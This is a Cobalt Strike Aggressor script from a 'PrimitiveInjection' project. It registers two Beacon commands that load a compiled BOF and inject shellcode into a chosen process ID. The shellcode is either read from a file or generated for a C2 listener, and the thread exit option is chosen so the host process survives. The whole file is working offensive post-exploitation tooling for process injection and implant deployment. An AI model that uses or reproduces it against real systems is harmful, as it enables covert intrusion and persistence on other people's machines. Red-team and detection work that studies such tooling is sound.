trickster0-PrimitiveInjection/PrimitiveInjection.cna

beacon_command_register(
"primitive_shinject", 
"Primitive Injection", 
"Usage: primitive_shinject PID path_to_bin\n");

beacon_command_register(
"primitive_inject", 
"Primitive Injection", 
"Usage: primitive_shinject PID listener_name");

alias primitive_shinject {
	local('$handle $data $args $sc_data');
	
	# figure out the arch of this session
	$barch  = barch($1);
	
	# read in the right BOF file
	$handle = openf(script_resource("primitiveinj. $+ $barch $+ .o"));
	$data = readb($handle, -1);
	closef($handle);

	$sc_handle = openf($3);
	$sc_data = readb($sc_handle, -1);
	closef($sc_handle);

	# pack our arguments
	$args = bof_pack($1, "ib", $2, $sc_data);

	btask($1, "Primitive Injection (thanos)");
	btask($1, "Reading shellcode from: $+  $3");

	# execute it.
	beacon_inline_execute($1, $data, "go", $args);
}

alias primitive_inject {
	local('$handle $data $args');
	
	# figure out the arch of this session
	$barch  = barch($1);
	

	# read in the right BOF file
	$handle = openf(script_resource("primitiveinj. $+ $barch $+ .o"));
	$data = readb($handle, -1);
	closef($handle);

	if (listener_info($3) is $null) {
		berror($1, "Could not find listener $3");
	}
	else {
		# Exit function is thread, as we're injecting into an existing process we likely don't wanna terminate on beacon exit.
		$sc_data = payload($3, "x64", "thread");

		# pack our arguments
		$args = bof_pack($1, "ib", $2, $sc_data);

		btask($1, "Primitive Injection (thanos)");
		btask($1, "Using $+  $3  $+ listener for beacon shellcode generation.");

		# execute it.
		beacon_inline_execute($1, $data, "go", $args);
	}
}